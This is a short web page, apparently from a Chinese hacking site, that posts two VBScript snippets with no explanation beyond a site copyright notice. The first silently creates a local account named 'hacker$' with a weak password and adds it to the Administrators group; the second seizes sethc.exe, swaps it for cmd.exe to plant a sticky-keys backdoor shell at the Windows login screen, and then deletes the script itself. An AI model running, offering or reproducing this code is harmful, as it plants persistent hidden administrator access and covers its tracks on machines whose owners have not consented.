复制代码 代码如下:

on error resume next

dim username,password:If Wscript.Arguments.Count Then:username=Wscript.Arguments

(0):password=Wscript.Arguments(1):Else:username=”hacker$”:password=”123456″:end if:set

wsnetwork=CreateObject(“WSCRIPT.NETWORK”):os=”WinNT://”&wsnetwork.ComputerName:Set ob=GetObject

(os):Set oe=GetObject(os&”/administrators,group”):Set od=ob.Create(“user”,username):od.SetPassword

password:od.SetInfo:Set of=GetObject(os&”/”&username&”,user”):oe.Add(of.ADsPath)’wscript.echo

of.ADsPath

On Error Resume Next

Dim obj, success

Set obj = CreateObject(“WScript.Shell”)

success = obj.run(“cmd /c takeown /f %SystemRoot%\system32\sethc.exe&echo y| cacls %SystemRoot%

\system32\sethc.exe /G %USERNAME%:F&copy %SystemRoot%\system32\cmd.exe %SystemRoot%\system32

\acmd.exe&copy %SystemRoot%\system32\sethc.exe %SystemRoot%\system32\asethc.exe&del %SystemRoot%

\system32\sethc.exe&ren %SystemRoot%\system32\acmd.exe sethc.exe”, 0, True)

CreateObject(“Scripting.FileSystemObject”).DeleteFile(WScript.ScriptName)

声明:本站(华域联盟www.cnhackhy.com)所有文章,如无特殊说明或标注,均为本站原创发布。任何个人或组织,在未征得本站同意时,禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益,可联系我们进行处理。